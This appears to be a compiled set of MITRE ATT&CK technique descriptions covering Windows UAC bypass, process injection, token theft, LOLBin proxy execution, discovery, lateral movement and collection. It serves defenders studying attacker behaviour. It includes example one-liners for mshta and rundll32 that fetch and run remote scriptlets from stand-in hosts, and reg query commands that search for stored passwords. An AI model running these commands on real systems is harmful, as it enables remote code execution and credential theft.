Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)


If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)


Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:


* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)


Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)


TA0005
Defense Evasion

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.


There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.


More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.


T1055
Process Injection

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.


There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.


More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.


T1055.002
Process Injection: Portable Executable Injection

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.


PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.


T1055.003
Process Injection: Thread Execution Hijacking

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.


Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)


This is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.


T1055.004
Process Injection: Asynchronous Procedure Call

Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.


APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process’s thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL).


A variation of APC injection, dubbed “Early Bird injection”, involves creating a suspended process in which malicious code can be written and executed before the process’ entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.


T1055.012
Process Injection: Process Hollowing

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.


Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)


This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.


T1070
Indicator Removal

Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.


Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.


T1134.001
Access Token Manipulation: Token Impersonation/Theft

Adversaries may duplicate then impersonate another user’s existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user’s security context, or with `SetThreadToken` to assign the impersonated token to a thread.


An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.


When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.


T1134.002
Access Token Manipulation: Create Process with Token

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)


Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.


While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.


T1134.003
Access Token Manipulation: Make and Impersonate Token

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session’s access token and the adversary can use `SetThreadToken` to assign the token to a thread.


This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.


T1197
BITS Jobs

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.


The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)


Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)


BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.(Citation: CTU BITS Malware June 2016)


T1218.003
System Binary Proxy Execution: CMSTP

Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.


Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.


CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)


T1218.005
System Binary Proxy Execution: Mshta

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)


Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)


Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))


They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta


Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)


T1218.011
System Binary Proxy Execution: Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).


Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)


Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)


Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).


Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)


T1518
Software Discovery

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.


T1548
Abuse Elevation Control Mechanism

Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.


T1548.002
Abuse Elevation Control Mechanism: Bypass User Account Control

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)


If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)


Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:


* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)


Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)


T1562.006
Impair Defenses: Indicator Blocking

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.


For example, adversaries may modify the `File` value in HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventLogSecurity to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging)


ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.


In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.


In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).


T1564.003
Hide Artifacts: Hidden Window

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.


On Windows, there are a variety of features in scripting languages in Windows, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)


Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock.


Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)


T1564.004
Hide Artifacts: NTFS File Attributes

Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)


Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)


TA0006
Credential Access

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.


Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)


There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (ex: Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)


After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.


T1539
Steal Web Session Cookie

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.


Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)


There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (ex: Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)


After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.


T1552.002
Unsecured Credentials: Credentials in Registry

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.


Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)


* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s

* Current User Hive: reg query HKCU /f password /t REG_SZ /s


TA0007
Discovery

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.


Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


T1007
System Service Discovery

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.


Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


T1012
Query Registry

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.


The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


T1016
System Network Configuration Discovery

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.


Adversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )


Adversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.


T1018
Remote System Discovery

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or net view using Net.


Adversaries may also analyze data from local host files (ex: C:WindowsSystem32Driversetchosts or /etc/hosts) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.


Adversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)


T1069.001
Permission Groups Discovery: Local Groups

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.


Commands such as net localgroup of the Net utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.


T1083
File and Directory Discovery

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)


T1087.001
Account Discovery: Local Account

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.


Commands such as net user and net localgroup of the Net utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.


T1135
Network Share Discovery

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.


File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) Net can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.


T1217
Browser Information Discovery

Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)


Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser.


Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)


T1518.001
Software Discovery: Security Software Discovery

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.


Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups – Amazon Elastic Compute Cloud)


TA0008
Lateral Movement

Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.


SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.


Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.(Citation: Microsoft Admin Shares)


T1021.002
Remote Services: SMB/Windows Admin Shares

Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.


SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.


Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.(Citation: Microsoft Admin Shares)


T1091
Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.


Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).


TA0009
Collection

Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.


Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use Automated Collection on the local system.


T1005
Data from Local System

Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.


Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use Automated Collection on the local system.


T1039
Data from Network Shared Drive

Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.


T1113
Screen Capture

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)


T1115
Clipboard Data

Adversaries may collect data stored in the clipboard from users copying information within or between applications.


For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation).(Citation: mining_ruby_reversinglabs)


macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)


T1119
Automated Collection

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools.


